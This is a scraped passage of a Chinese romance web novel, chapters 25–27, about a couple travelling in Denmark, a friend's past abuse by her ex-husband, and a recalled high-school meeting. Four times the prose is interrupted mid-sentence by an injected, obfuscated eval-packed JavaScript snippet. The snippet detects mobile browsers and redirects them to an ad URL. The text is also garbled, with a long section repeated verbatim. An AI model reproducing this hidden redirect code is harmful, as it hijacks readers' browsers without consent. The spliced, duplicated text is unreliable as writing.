“啊……”高幸红了脸,不知如何解释。 “所以那篇文章是你写的。” “对……” “题目我都还记得,叫,森雪三十六度。”温让说道,“我把文章剪下来,做了剪报,现在都还在我的书柜里。” “真的吗?” “下次带你去看看。” 高幸脸上藏不住喜悦,“你觉得写得很好?” “很干净舒服,也很有灵气的文字。”温让毫不吝啬夸赞。 “谢谢你。” “所以我可以知道,为什么笔名是果果吗?” “果果是我的小名。”高幸说道,“因为我的外婆普通话不是很标准,她小时候叫我高高,总是叫成果果,所以我的家人朋友就习惯这样叫我了。” “原来如此。”温让故作不经意地问,“朋友也能叫你果果?” “当然。” “我们是朋友,所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118198|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也能叫你果果了,是吗?” “可以。”高幸有些不好意思,但还是大着胆子问了句,“那你有小名吗?” “有。”温让别过头,“我父母小时候叫我,元元。” “挺可爱的。” “因为他们希望我永远都能考第一,元是状元的元。” 高幸的表情有些僵住了,“他们对你……很严格吧。” “不过我爷爷在世的时候不这样叫我。”温让的语气轻快起来,“他叫我小木头。” “真的假的?” “我小时候有点木木的,呆呆的,也很安静。” “所以爷爷觉得你像块木头?” “但是木头可生火,火是生命力的象征。” 高幸了然地点点头,“这也是爷爷对你的期望。” “他跟我说,做一块安静的木头没什么不好,必要时,也可以选择为他人燃烧自己。” 他们逛到了绿植区,摆着不少绿植和花卉,温让随手端起一盆“富贵籽”,“他给我取了这个小名,倒最后却成了他的宿命了。” “小木头,挺好的。”高幸没怎么思考,继续说道,“我还算过命,算命师傅说我冬天出生,五行缺木,其实我也应该取个和木相关的昵称。” “你五行缺木?” “嗯对,我五行火旺,缺木,你呢?” “我缺火,木旺。” 高幸彻底接不了话了,她尴尬地移开眼神,指着架子上的一盆绿植说道,“这盆挺好看的,开得,多漂亮,多绿啊。” 那就是盆普普通通的绿萝。 “好,买回家。”温让说完就要去拿。 “诶,不用不用,我就随便一说。”高幸及时拉住了他的胳膊。 “五行缺木要多买绿植。”温让说。 “好。” “你家里有吗?” “没怎么买……” “回国后,我送给你。” “咱们回国再说。” “你的脸很红,在害羞什么?” “我没有!” “好的,果果。” …… 晚上,高幸洗完头,吹半干后,趴在床上给沈奕岚回消息。 今天临走前她俩才交换联系方式,期间,她也发过消息给她,但沈奕岚都没回,这会儿她发了几句道歉的话,说是今天他们都在给之前拍摄的图片做后期处理,现在才闲下来。 高幸回得也很认真,像记流水账一样。 沈奕岚:怎么感觉你俩跟夫妻一样,挺会过日子呢。 高幸:没有没有。 沈奕岚知道温让的性子,他有自己的节奏,这种事倒也轮不到她来帮忙挑明。 沈奕岚:行,不过你俩能不能把李听墨这头驴给拉回去? 高幸:你都说他是驴了,怎么拉得回来?(他做什么了? 沈奕岚:他的精彩事迹我都懒得说了,这男人的挺神奇的。 高幸:他就是脾气差,人倒也不坏。 沈奕岚:不说他了,对了,送你的CCD用得咋样? 高幸:很好用!可以生图直出的程度。 沈奕岚:所以里面的照片,你看了吗? 高幸:你的旧照片吗?还没有,我觉得这是你的隐私,所以没敢翻…… 沈奕岚:你们接下来去哪儿玩? 高幸:温让说休整两天,然后去冰岛和格陵兰岛。 沈奕岚:不错,那你就挑一个合适的时机,翻看一下CCD里面的照片,应该不会让你失望的。 25. 谈何顺遂 「谈何顺遂」 第二天,高幸在暖和的被窝里醒来,掀起眼皮就和小笛笑盈盈的眼撞了个正着。 她转了转眼珠子,打量四周,发现自己已经回到原来的房间了。 “温哥哥昨晚把你抱回来的。”小笛托着下巴说道,“他让我不要叫你起床,让你多睡会儿。” 高幸坐起来,“他人呢?” 本来是去安慰温让的,结果自己反倒先睡着了,高幸多少有些过意不去。 “在处理一些不好的事。” “什么事?” 小笛伏在她肩膀上嘀咕了一会儿,高幸越听,眼睛瞪得越大。 过了会儿,一大一小踮起脚尖,鬼鬼祟祟地来到沈奕岚的房间门口,趴在门上偷听。 据说昨晚,李听墨去了趟洗手间,酒还没醒透,不小心走错房,躺到了沈奕岚的床上,偏偏沈奕岚的睡眠质量极好,睡着后雷打不动,根本意识不到身旁多躺了个人。 醒来时,李听墨就被无情地踹到了地下,尾椎骨都摔麻了,骂骂咧咧了几句,沈奕岚也不是好惹的,掀被下床,揪着李听墨的领子就要讨说法,于是两人的争吵就一发不可收拾。 温让难得睡个好觉,被吵闹声弄醒了,出于对高幸睡眠的考虑,他简单洗漱完就直奔争吵源头。 半个钟头过去,温让一手叉腰,一手按住两侧太阳穴,左边一句右边两句,颇为无奈。 “你这女人真的不可理喻!你能指望一个醉酒的人走直线都不错了,还找对房间?” “你自己睡错床还能怪我?!要是你酒后乱性把我□□了,我是不是也不能告你?!” “想多了吧你!被害妄想症!” “这个世界就是有你这种人的存在,才不会好起来!” “那我去死好不好?” “好!” 李听墨气不打一处来,抖着手指指过去,“你、你、你——” “好了。”温让按下他的胳膊,“都少说几句,多大的人了。” 沈奕岚抱着胳膊,背对着他们,不发一言。 “李听墨。”温让看着他。 “我知道你想说我,看在她是你朋友的面上,我可以道歉,但我也不是有意的。” “事情已经造成了,那就解决它。”温让说,“你知道你错哪儿了?” “不该醉酒,更不该看不清房间。”李听墨说话硬邦邦的,明显还在气头上,不肯服气。 “你错在不尊重奕岚。” “可是我一开始态度是好的,我也道歉了啊,她就咬住人不松口。” “轻描淡写的道歉,这就算态度好吗?”沈奕岚沉着脸质问道,“你的私生活是有多乱,才会把误睡女士的床不当一回事?” “你看看你看看。”李听墨扯住温让的袖子,“这算人身攻击了吧?这也能批评我的私生活?别的女的也不像你这样得理不饶人吧?道了歉就算了啊,不然你还要我怎样?给你下跪啊?你是公主还是女王啊?” 沈奕岚被他的话彻底点燃了,胸口剧烈起伏着,却在某一瞬间忽然沉静下来。 “不说话了?没理了呗?”李听墨稍稍鞠躬,“对不起对不起对不起,女王大人,我以后不敢了,行了吗?” 沈奕岚死死咬住没有血色的下唇,撞开李听墨的肩膀,指着门口低声说,“滚出去。” “你——” 在她别过脸落泪的那瞬间,李听墨的话语都噎在了喉头。 “奕岚,抱歉,我没管好弟弟,我会让他意识到自己的错误。”温让说完,拽了李听墨一把。 门突然被拉开,高幸身子受惯性往前一扑,撞进硬实的胸膛。 温让搂住她肩膀,轻声问道,“吵醒你了?” 高幸站直了,说道:“听说了这边的事,过来看看奕岚。” 温让侧身让路,“好,待会儿带她出来吃早饭。” “交给我。” 走出一段路,李听墨不可思议地问道,“沈奕岚刚才哭了?” 阿尔里克闻声赶来,不由分说地揍了李听墨一拳,温让猛地捂住小笛的眼睛。 “卧槽!”李听墨捂住瞬间发红的嘴角,“我不是道歉了吗?!” 阿尔里克发泄完一拳才看到小笛,硬生生把怒火压下来了,“你最好没对她做别的事,否则,我不会放过你。” “我他吗做什么了?我他吗就老老实实地睡了一觉,醒来又是挨骂又是挨揍的,我李听墨是什么样的人,别人不了解也就算了,温让,你也不帮我说话!你就看着我被人揍!” 温让拍拍小笛的背,和阿尔里克交换了一个眼神,“麻烦你照顾下小笛。” “嗯,我会和她解释为什么揍她哥哥。”阿尔里克牵起小笛的手,冷着脸走开了。 小笛回头望了李听墨一眼,嘀咕道,“我哥哥他不是坏人。” “抱歉,我没控制住。”阿尔里克说,“我不了解你哥哥,但是我也不想Lilian受到任何伤害。” “沈姐姐是不是,被欺负过?”小笛的观察力向来敏锐,虽然她猜不出沈奕岚经历过什么,但她总觉得,她应该也遇到过很不好的事。 “嗯。”阿尔里克应道。 “是谁欺负的沈姐姐?” 男人高大的身躯佝偻下来,一遍一遍擦拭着摄像机的镜头,“她的前夫。” · “奕岚结过婚,你很早就知道了?” 因为天气原因,今天的游玩计划被迫取消,沈奕岚和阿尔里克决定在默恩岛再住一晚。 驱车回市区的路上,小笛被安排到了副驾驶,高幸和温让坐后座。 高幸陪了沈奕岚一早上,起初,沈奕岚还有许多难言之隐,聊着聊着才打开心扉,高幸在得知了沈奕岚这些年的遭遇后,久久不能回神。 “嗯。”温让仰靠着,脖颈牵扯出一段优美的弧度,“她的离婚律师,是我帮忙找的。” 李听墨知晓了沈奕岚的事,从出发到现在,沉默地开着车,一句话也没说,小笛递给他水杯,他也不喝。 “她那事儿,当初解决起来麻烦吗?”高幸垮下脸,“她倒是三言两语就把事情说完了,但我不敢去细想经过。” “很麻烦。”温让回想起当初沈奕岚发给他的消息,言简意赅,逻辑分明,却字字泣血。 “就算对方执意不肯离,但他对沈奕岚实施的精神暴力也是实打实的,放在法庭上也没有说服力吗?” “精神暴力,本身就很难找到证据。”温让说道。 “可他还打过她。” “避开要害,不留痕迹,没有监控。” “他还出轨了。” “你想想他出轨的对象是谁。” 高幸沉默了。 沈奕岚前夫出轨的对象,是沈奕岚的亲生母亲。 她母亲根本不可能出庭作证,为了维护自己的名誉,选择牺牲女儿。 “那男的还威胁她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123111|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲,两人一块儿欺骗沈奕岚,转移了婚内资产,在那样的条件下离婚,沈奕岚不仅一分钱都分不到,还会倒贴。” “那婚内迷/奸……”高幸有些说不下去了。 “婚内强/奸都不一定能找到证据,更别说迷/奸。” “所以她这事,当初是个死局。” 温让闭上眼睛,“嗯,她周围的人,全都在绞杀她。” “而且……”温让的手指无意识地在膝盖处摩挲着,“那个男的,说不定你也认识。” “奕岚只说是你们学校的。” “就是我那个室友。” “什么?!!可那人劣迹斑斑,奕岚怎么会看上他啊?” “只是因为你知道他对你朋友做过的事,所以你才会觉得他劣迹斑斑。”温让侧头看向高幸,“但局外人,只会看到他漂亮的履历,他的学术成就,以及他装得近乎完美的外表。” “人面兽心的东西。”高幸咬牙切齿道,“当初还是把他打轻了。” 温让透过后视镜观察驾驶座处李听墨的表情,眉头皱得能夹死几只苍蝇。 “所以后来怎么解决的?”高幸问道。 “找了个很厉害的律师朋友,然后……”温让忽然顿住,“然后,在他的帮助下解决的。” 高幸狐疑地瞟了他一眼,“你说得越省略,就说明过程越曲折。” “这么了解我啊?”温让淡淡一笑,倒是让高幸不知怎么问下去了。 “反正事情已经解决了,没必要去纠结是怎么解决的。” “防患于未然嘛。”高幸说,“万一以后我也——” “你不会。”温让打断她,“一定不会的。” “那个人叫什么名字?”李听墨终于沉沉开口。 温让看到后视镜里,他坚定的一瞥。 “你知道了,也没什么用。”温让说。 “叫什么名字?”李听墨不依不挠地问。 “雷永安。”高幸说。 “嗯,知道了。” “他现在已经不知道躲哪儿去了,反正不会再纠缠沈奕岚。”温让说,“你们放心。” 精神暴力,家庭暴力,婚内迷/奸,出轨妻子的母亲。 任何一个标签落在身上都是座沉重的大山,可沈奕岚搬开了这些大山,活得依然磊落敞亮。 李听墨攥紧方向盘,压抑着内心翻涌的情绪,转弯减速,踩下油门加速开到社区路口,稳稳停下。 “高幸,哥,你们带小笛先回去。” 温让先下车,顺手拉开副驾驶的车门,让小笛下来,问了句,“你去哪儿?” “我的人生好像过得太顺遂了。”李听墨升上车窗,声音渐渐弱了下来,“所以我要去为自己做错的事,承担责任。” 车窗彻底合上那瞬间,转向灯亮起。 三人站在路口,望着那辆风尘仆仆的越野消失在转角处。 小笛怔怔地说道,“哥哥,好像变了。” “所以奕岚昨晚跟我说的那些话……不只是说给我听的。”胸口的淤堵之气慢慢呼出,终是散在了十二月末的风里,“也是说给曾经的她听的。” 无论身处何种境地,都不允许自己一直下坠。 是沈奕岚,是高幸,也是温让。 高幸转过头,看向身旁的男人。 凌晨相拥到了最困倦的时刻,她依稀听到了耳边亲昵温柔的低喃。 “我们都会慢慢变好的。” 26. 果果小木头 「果果小木头」 唐冉离开哥本哈根的这天,高幸去送了机。 一群小孩儿围在高幸身边,姐姐姐姐叫个不停,还有个小bboy试图在机场光滑的地面上表演breaking,被唐冉诚惶诚恐地拦住了。 她太久没被这么猛烈的热闹包围了,一时有些难以招架。 反倒是旁边的温让,和小孩打成一片,还给他们送了不少玩具。 唐冉附到高幸耳边,“看见没,这就是现在流行的,人夫感,找男朋友就得找这样的,会疼人~” “少打趣了,你先把自己的个人问题解决了再说。” “你俩喜酒,让我坐主桌啊。” “你坐小孩那桌。” “诶!”唐冉嬉笑着指向高幸,“说出心里话了吧。” 高幸抿唇,憋着笑,“服了你了。” “反正,我舞室的联系方式已经告诉你了。”唐冉搂住她的肩膀,“回国后,要是想过来练练舞,做做兼职什么的,随时欢迎。” “好,起落平安。” 两人抱了抱,“回国见。” “回国见。” 回去的路上,高幸和温让经过一家连锁超市,不约而同走了进去,他们一个推购物车,一个挑选菜品。 温让的衣兜很浅,蹲着的时候,手机滑到地上,他两手不空,高幸帮他捡起来。 手指不小心触到屏幕,她无意看见了温让的手机屏保,是一副水彩画,笔力稚嫩,看着像小孩子的笔迹。 “这是我奶奶画的。”温让滑开锁屏,“她年轻的时候是美术老师,现在因为大脑出了问题,画画的手也不利索了,所以,从她现在的画可能看不出来她曾经是美术老师。” “返璞归真。”高幸细细查看他的锁屏,“画里面有四个人,应该是你和她,还有爷爷?” “嗯,还有我弟弟。” “亲弟弟?” “对。”温让说,“他叫温廉,比我小四岁。” 高幸发现自己并不了解温让,连他还有个亲弟弟都不知道。 她的喜怒哀乐都浮在表面,温让一下就能看穿她的心思,“我有亲弟弟这事,也只有李听墨他们知道,温廉不常和我一起,你不知道他,很正常。” 高幸不禁想起李听墨对她的叮嘱。 温让有个很可怕的家庭。 “那你和你弟弟关系好吗?我也有表弟,他性格温顺,小时候总被我们使唤,长大就叛逆。”高幸笑道,“小时候让他干什么就干什么,现在已经使唤不了了。” “还不错,温廉是个懂事的孩子。”温让说道,“也很受长辈喜欢。” “你应该也很受长辈喜欢。” “分情况。” “嗯?怎么说?” “他们只喜欢听话的机器,一旦机器有了自己的意识,就默认报废了。” 这样的比喻,高幸一听就懂,在她沉默思考之时,温让挑了一盒鲜嫩的草莓放进购物车,正要去选其他的水果,袖子被拉住了。 “那他们不允许你有自由的思想吗?” “可以这么说。”温让自嘲地一笑,“不过自由对以前的我来说,也没那么重要。” “独立天地间,清风洒兰雪。” 高幸的记忆里一直存着这句诗,她曾将它默写在摘录本的首页,也曾是她低谷时期对自己的告诫。 而这句诗,也曾是温让作为学生代表,在高考前的百日誓师大会上念过的。 巧合的是,在他念出这句话的前一天,高幸因为周考成绩不好,情绪低落了许久,草稿纸上写满了这首李白的《别鲁颂》。 没人知道当高幸听到温让用淡定的语气念出这句诗时,她有多震惊。 周考失利的挫败感荡然无存,她只想继续拼命,拼命地追赶上那个站在升旗台左侧的少年。 他在发光,她也不能暗淡。 高幸站在排列整齐的人群中,大家都穿着一样普通的校服,百日倒计时的紧迫感,每天堆积成山写到崩溃的试卷,时时刻刻都在上升下落的考试分数,搓磨着少年心性。 高三下学期,早自习时间提前,晚自习时间延后,睡眠时间严重不足,学生们的脸上无一例外都带着麻木的疲惫,可是在这疲惫之中,又藏了些对未来的期待,对将要结束这场青春游戏的渴望,以及,在这个一切都还没定型,一切都还来得及的年纪,所独有的那股向上的劲儿。 就是这股劲儿,支撑着他们共同走向那个远在天边又近在眼前的未来。 18岁的少女微微扬起头,一眨不眨地盯着台上的少年。 干净,挺拔,如松如竹。 清风洒兰雪。 明明他可以念出大众接受度更高的诗句,诸如“梅花香自苦寒来”、“天生我材必有用”之类的,偏偏选了李白冷门的一首。 也是高幸很喜欢的一首。 而现在,八年过去,曾经仰望的少年就在自己面前,和她一同逛着超市,聊着琐碎话题,挑选今晚做饭的食材。 她忽然很想知道,为什么是那句诗,为什么不是其他的。 可就在温让听到她念出这句诗后,他明显愣了一下,“你还记得?” “我记性很好的。”高幸说。 “这句诗是我写发言稿前,在校报上看到的。”温让说。 他们就读的高中有自己的文学校报,月刊,每个月都会提前发布征稿主题,全市在读高中生都可以投稿。 高幸思索了一番,“你说的,该不会是‘树山’那版吧?” “对。”温让说道,“我记忆中,那版的封面就是绿色的,主题是‘树山’,里面登了十篇文章,其他的文章都是实名制的,只有一篇,用的笔名。” 虽然心里已经有了答案,但高幸还是按捺住内心的惊喜,问道,“笔名是什么?” “果果。” 如果高幸足够仔细,便会发现,温让的发音并不字正腔圆,有些吞音,尾音也轻微上扬,比起正常的回答,似乎更像在叫一个亲昵的人。 可惜她被这声“果果”冲昏了头脑,直愣愣地应了声,“诶。” 温让噗嗤一声笑了,“这就应了?” “啊……”高幸红了脸,不知如何解释。 “所以那篇文章是你写的。” “对……” “题目我都还记得,叫,森雪三十六度。”温让说道,“我把文章剪下来,做了剪报,现在都还在我的书柜里。” “真的吗?” “下次带你去看看。” 高幸脸上藏不住喜悦,“你觉得写得很好?” “很干净舒服,也很有灵气的文字。”温让毫不吝啬夸赞。 “谢谢你。” “所以我可以知道,为什么笔名是果果吗?” “果果是我的小名。”高幸说道,“因为我的外婆普通话不是很标准,她小时候叫我高高,总是叫成果果,所以我的家人朋友就习惯这样叫我了。” “原来如此。”温让故作不经意地问,“朋友也能叫你果果?” “当然。” “我们是朋友,所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128298|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也能叫你果果了,是吗?” “可以。”高幸有些不好意思,但还是大着胆子问了句,“那你有小名吗?” “有。”温让别过头,“我父母小时候叫我,元元。” “挺可爱的。” “因为他们希望我永远都能考第一,元是状元的元。” 高幸的表情有些僵住了,“他们对你……很严格吧。” “不过我爷爷在世的时候不这样叫我。”温让的语气轻快起来,“他叫我小木头。” “真的假的?” “我小时候有点木木的,呆呆的,也很安静。” “所以爷爷觉得你像块木头?” “但是木头可生火,火是生命力的象征。” 高幸了然地点点头,“这也是爷爷对你的期望。” “他跟我说,做一块安静的木头没什么不好,必要时,也可以选择为他人燃烧自己。” 他们逛到了绿植区,摆着不少绿植和花卉,温让随手端起一盆“富贵籽”,“他给我取了这个小名,倒最后却成了他的宿命了。” “小木头,挺好的。”高幸没怎么思考,继续说道,“我还算过命,算命师傅说我冬天出生,五行缺木,其实我也应该取个和木相关的昵称。” “你五行缺木?” “嗯对,我五行火旺,缺木,你呢?” “我缺火,木旺。” 高幸彻底接不了话了,她尴尬地移开眼神,指着架子上的一盆绿植说道,“这盆挺好看的,开得,多漂亮,多绿啊。” 那就是盆普普通通的绿萝。 “好,买回家。”温让说完就要去拿。 “诶,不用不用,我就随便一说。”高幸及时拉住了他的胳膊。 “五行缺木要多买绿植。”温让说。 “好。” “你家里有吗?” “没怎么买……” “回国后,我送给你。” “咱们回国再说。” “你的脸很红,在害羞什么?” “我没有!” “好的,果果。” …… 晚上,高幸洗完头,吹半干后,趴在床上给沈奕岚回消息。 今天临走前她俩才交换联系方式,期间,她也发过消息给她,但沈奕岚都没回,这会儿她发了几句道歉的话,说是今天他们都在给之前拍摄的图片做后期处理,现在才闲下来。 高幸回得也很认真,像记流水账一样。 沈奕岚:怎么感觉你俩跟夫妻一样,挺会过日子呢。 高幸:没有没有。 沈奕岚知道温让的性子,他有自己的节奏,这种事倒也轮不到她来帮忙挑明。 沈奕岚:行,不过你俩能不能把李听墨这头驴给拉回去? 高幸:你都说他是驴了,怎么拉得回来?(他做什么了? 沈奕岚:他的精彩事迹我都懒得说了,这男人的挺神奇的。 高幸:他就是脾气差,人倒也不坏。 沈奕岚:不说他了,对了,送你的CCD用得咋样? 高幸:很好用!可以生图直出的程度。 沈奕岚:所以里面的照片,你看了吗? 高幸:你的旧照片吗?还没有,我觉得这是你的隐私,所以没敢翻…… 沈奕岚:你们接下来去哪儿玩? 高幸:温让说休整两天,然后去冰岛和格陵兰岛。 沈奕岚:不错,那你就挑一个合适的时机,翻看一下CCD里面的照片,应该不会让你失望的。 27. 森雪三十六度 「森雪三十六度」 (节选) 覆盖在森林的雪,是人的体温。 我踩在雪上,雪热过我,于是我先融化。 麋鹿朝我奔来,撞倒一棵树,我想鹿哪来这么大的力气,百年老树也因他的横冲直撞而倒下。 我问木屋里的老神仙,他说不是麋鹿力气大,是树不想活了,从来都是雪落在他身上,临到终了,他想倒在雪里。 这松软的,晶莹的,温热的新雪,像流沙一般包裹着连根拔起的大树。 于是树也开始融化,我嗅到草木蒸腾的香气,也许春天将至。 我低头看手,又抬头望天,那么大的天空,我用手就能遮住,有什么了不起的。 老神仙笑了,他说,你的手都透明了,什么也遮不住了。 我跟着他笑,透明蔓延到小臂、大臂,我会化作这林间万物吗?我很兴奋,我迫不及待地与森林融为一体。 老神仙驾云而来,我瞧着他,云也像雪,只是更虚幻,更飘渺。 他扯走了我身上的木头,说是要拿去当柴烧。 我没有手了。 老神仙不讲道义。 他依旧笑盈盈地,用木头拍拍自己的掌心,我想起了背不出课文时那位怒极反笑的语文老师。 你这一生,都没法低头。他说。 所以你从没看清自己。 融化,继续融化。 我的视野永远都是36度,为什么我低不了头? 全身都汇入雪地里那刻,我想起来了。 存活三十六小时,一日阴云,半日晴。 原来,我只是一捧雪人。 …… 温让放下记号笔,目光落在最后一行的落款处。 明明是这么清冽又跳脱的文字,作者却有个可爱的笔名,叫果果。 果果。 他轻念出声。 圆润朗朗的发音,和记忆中那个清瘦却有力量的少女重合起来。 都说要了解一个人,就要去触碰对方的精神世界。文字是通往她的世界的大门,读完最新的一篇,他才勉强够格徘徊在大门口。 第一次知道她的小名叫果果,还是高一开学,温廉和他同一天开学,华悦去送了,温霖工作走不开,让温让自己坐车去学校。 短暂脱离父母的监视,温让一身轻松,他难得让司机开了车载蓝牙,放了几首老歌。 学校路段太过拥挤,十多分钟过去,前方车辆依旧纹丝不动。 司机老黄在温家干了快十年了,跟温让很熟,温让提议剩下的路自己走过去就行,老黄看了眼路况,便同意了。 “那你路上小心点噢。”老黄作为长辈,温让的父母不在,他多多少少得承担起监护的责任,哪怕他只是个司机,“注意车辆。” “黄叔放心。” 温让额头被温霖用笔筒砸出来的伤口还没好,他戴上鸭舌帽,下车后,退到一边等红绿灯。 “妈,现在是红灯,你别急着走。” “什么红灯绿灯,你看看还差几分钟就迟到了,赶紧走,少拿这些学昏了的规矩来框我。” 温让稍稍偏过头去,看见女孩拉住一个女人的胳膊,汗珠从额头上淌下来,在阳光下发亮。 她们似乎走了很急很久的路,两个人都气喘吁吁的,女孩满脸通红,即使皱着眉头,也挡不住灵动的美。 “来得及的,你信我。” “高幸,你哪次不是这样?说了让你动作麻利点,你每次都是卡点出门,赶火车是这样,来报到也是这样,磨磨叽叽的,老子看着就烦人。” 何柔的嗓门很大,四周的人几乎都看了过来。 高幸咬着下嘴唇,羞愧地低下头,“可是……我没迟到过。” “迟早的事!你总是这么不听我的话!你看除了我,谁还带你来报道!” “我也可以自己来的……” “你说什么?!” 红灯开始闪烁,何柔用力拉过高幸的胳膊,女孩一个踉跄,小跑跟上她的脚步。 “都上高中了,一点儿都不懂事!” 温让压低帽檐,沉默地跟在她们身后。 学校里安排了高年级志愿者,即使一个人报道,也有着详细的指引,一个热心的志愿者主动走到温让面前,“学弟,你是一个人来的吗?你在哪个班?需要我带你去报道吗?” “不用了,我自己可以的,谢谢了。” 礼貌拒绝后,温让环顾四周,找到高幸她们的位置,慢慢走过去。 高幸很快在校园地图上找到自己所在的教学楼,“高一六班……” 六班,和他在同一层楼。 “妈,治学楼在这边儿。”高幸指着路标说道。 “刚才那志愿者不是说往右边走吗?” “但路标都写着治学楼往前啊。” “那万一错了呢?你又知道了?” 高幸知道她最近跑到高城单位大闹了一通,心里的怨气还没发泄透,难免会在她身上找不痛快,只好忍气吞声地又去找志愿者问了一遍。 她们刚上到治学楼二楼就碰到了邻居家的大女儿,程思思。 高幸下意识往后躲。 “何阿姨好。” 何柔立马换上在人前的温柔嘴脸,“诶思思呀,之前就听说你也在这学校,想不到这么快就遇见了。” “小高妹妹来报道吗?”都说尖嘴猴腮的人多刻薄,程思思长了张大人都夸有福气的脸,逢人都笑眯眯的,很受长辈喜爱,“在几楼呀?我带你们去吧。” “不用了。”高幸急忙说,“我们自己去。” 何柔暗暗拧了她一把,面对程思思又是一副笑脸,“思思,那麻烦你在学校多照顾我们家果果。” “放心啦何阿姨。”程思思亲切地拉起高幸的手,“我一定——” 触碰不过瞬间,高幸应激似的甩开了程思思的手,往后退了一步,本就站在台阶上,这一退就没踩稳,身子晃了下,右手条件反射地去抓旁边的栏杆,却抓到了一条温热的胳膊。 温让抬起小臂让她扶稳,“六班?同一楼,一起吧。” 高幸那会儿还不认识他,他又带着帽子,脸都看不清,但只要能远离程思思,跟谁走都行。 “高幸,你同学?”何柔怀疑地问。 “嗯,初中同学。”高幸当着温让的面撒了谎,温让也没否认。 “那思思,我们就不麻烦你了,等我这边忙完,咱们一起吃个饭。” “妈!”高幸终于露出了一丝不耐烦,“走了。” “你急什么!” 何柔当着熟人的面不好发怒,只带着歉意地笑笑,跟着高幸和温让上了楼。 温让把她送到六班门口,听到她轻声道谢。 “不客气。”他说。 “同学,请问你叫——”高幸还没来得及问他的姓名,少年已经转身离开。 果果。 原来你的小名叫果果。 少年大跨步朝另一头的班级走去,鸭舌帽遮盖住带着笑意的俊脸。 终于认识你了。 果果。 …… 明天就要前往冰岛,高幸和温让上午就收拾好了行李,下午就近逛了逛。 刚好碰到文化街区的摇滚乐队在路演,两人买了热咖啡,和很多人一块儿坐在路边的台阶上听摇滚。 从涅槃听到披头士。 身边不少人都能跟唱。 高幸捧着暖乎乎的咖啡,跟着节奏一块儿摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133569|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃脑。 “你还记不记得高中有一年五四晚会,我们学校的乐队就唱了披头士的inmylife。”温让说道。 “我记得,他们还唱了Beyond的海阔天空,以一口塑料的粤语。”高幸把咖啡杯当话筒放到嘴边,架势十足地开始模仿,“yin谅饿这牙神八羁放纵oi基友~” 温让被她逗笑,“你学得太像了。” 高幸的嘴角也收不回去,“不过我很喜欢海阔天空这首歌,但好像都是叔叔阿姨们在KTV嚎。” “可能他们已经过了不羁放纵爱自由的年纪了,所以怀念。”温让说。 “所以他们嚎的,都是自己的无奈。” 就在这时,摇滚乐队说了几句丹麦语,高幸还没来得及给温让翻译,就看见一个亚裔面孔的男人走了过去,接过主唱的话筒。 男人瞧上去年过不惑,身形微微发胖,国字脸,戴着个金属框架的眼镜,红棕色的条纹衬衫,厚实的黑色风衣外套。 他一开口也是丹麦语,但是当第一句歌词出来时,底下不少人愣住了。 “今天我,寒夜里看雪飘过。” 正是beyond的海阔天空。 “中国人。”高幸讶异地和温让对视,“他是不是听到我们的对话了?” “应该是。”温让拉着她起身,给男人加油打气。 陆陆续续的,路边坐着的许多人都站了起来,路过的人也驻足。 “天空海阔你与我,可会变……” 副歌部分的旋律一出来,高幸和温让异口同声地开始大声跟唱,像是一种发泄,又像是一种诉说。 “原谅我这一生不羁放纵爱自由!” 距离他们不远处,一对手牵手的年轻情侣扯着嗓子,也开了口。 “也会怕有一天会跌倒。” 满头银霜的老人看不出年岁,孤身一人立于人群之后,他没有用手机拍照录视频,只是拄着拐杖,佝偻着身躯,颤抖又沙哑地唱出一句标准的粤语。 “背弃了理想,谁人都可以!” 对面711的亚裔收银员听见熟悉的歌声,突然打开门走出来,红着双眼,很轻很轻地附和,成为众多和声之一。 中国人的合唱声越来越大,领唱的男人情难自禁,泪水淌落满脸,他索性一把扯下眼镜,哽咽着,望着模糊不清的前方。 四周聚集的人也多了起来,即使是不热衷表达情感的北欧人也忍不住为他们鼓掌伴奏。 “哪会怕有一天只你共我。” 高幸压抑着落泪的冲动,转过头,温让也正注视着她。 